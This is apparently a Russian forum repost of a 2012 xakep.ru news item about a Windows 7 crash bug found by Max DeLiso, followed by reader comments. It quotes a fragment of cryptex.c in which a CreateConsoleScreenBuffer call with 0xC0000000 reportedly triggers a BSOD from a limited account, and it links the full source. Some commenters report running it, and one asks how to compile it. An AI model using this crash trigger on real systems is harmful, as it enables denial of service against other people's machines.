Системный эксплойт для Windows 7

Системный эксплойт для Windows 7

Программист Макс Делисо (Max DeLiso) работал над своим проектом, никак не связанном с информационной безопасностью, и случайно обнаружил последовательность инструкций, которая вызывает BSOD на любой машине с Windows 7. Что характерно, своеобразный «эксплойт» работает из-под пользователя с ограниченными правами, и всё равно надёжно рушит систему. По какой-то причине Макс Делисо решил не сообщать в Microsoft об обнаруженной 0day-уязвимости, а выложил информацию в открытый доступ http://megafrock.com/cryptex.html, так что теперь каждый может проверить вредоносный код на любой системе Windows 7, потому что патча просто не существует.

Макс Делисо признаётся, что не достаточно компетентен, чтобы определить, можно ли использовать эту уязвимость для выполнения произвольного кода в системе, но такая вероятность существует. Очевидно, что можно получить доступ к памяти ядра и инициировать отказ в обслуживании.

Файлы cryptex.c и makefile в архиве скачать можно здесь http://megafrock.com/cryptex.tar.bz2. Созданный файл cryptex.exe следует запускать с большой осторожностью, на свой страх и риск. Ниже приводим листинг ключевого фрагмента cryptex.c, нестандартный вызов CreateConsoleScreenBuffer со значением 0xC0000000 в итоге приводит к отказу системы.

Code:

 /* ... */
      
         extern int cryptex() { 
            HANDLE thisProc = GetCurrentProcess();
            HANDLE stdin;
            HANDLE stdout;
            HANDLE thisHeap = GetProcessHeap();
            HANDLE conBuffer;
            DWORD cIoCount;
            HLOCAL inBuffer;

            if((conBuffer = CreateConsoleScreenBuffer(
               0xC0000000, 0, NULL, CONSOLE_TEXTMODE_BUFFER, NULL)) == INVALID_HANDLE_VALUE ||
               (stdin = GetStdHandle(STD_INPUT_HANDLE)) == INVALID_HANDLE_VALUE ||
               (stdout = GetStdHandle(STD_OUTPUT_HANDLE)) == INVALID_HANDLE_VALUE) {
                  return CRYPTEX_CON_HANDLE;
            }
         
         /* ... */

Макс проверил программу под Windows 7, но допускает, что она работает также под Windows Vista.

17.10.2012
http://www.xakep.ru/post/59490/​

 

Пхах,бсод вылетел, норм=)

 

И за бсода я возненавидел вин7 больше всех!
в XP пока не было ни разу =), линуха вообще не знает что это такое ))

 

Похоже кто-то почти не пользовался ХР, они там лезут отовсюду через пару лет

 

Зря так говоришь, сижу на XP давно, бывало разное, но чтоб каждую неделю бсод такого не было ни разу.
А вообще XP Больше для кошелька использую.
В любом случае лучше чем распиаренные вин7. по которому так прутся школьники которым нужны красота на раб столе.

 

Та же фигня, выпадает в экспешн без BSOD'a.

 

А как скомпилировать его? Через Dev-Cpp не компилируеться.

 

Видимо нужно попробовать в visual studio или просто с ms компилятором.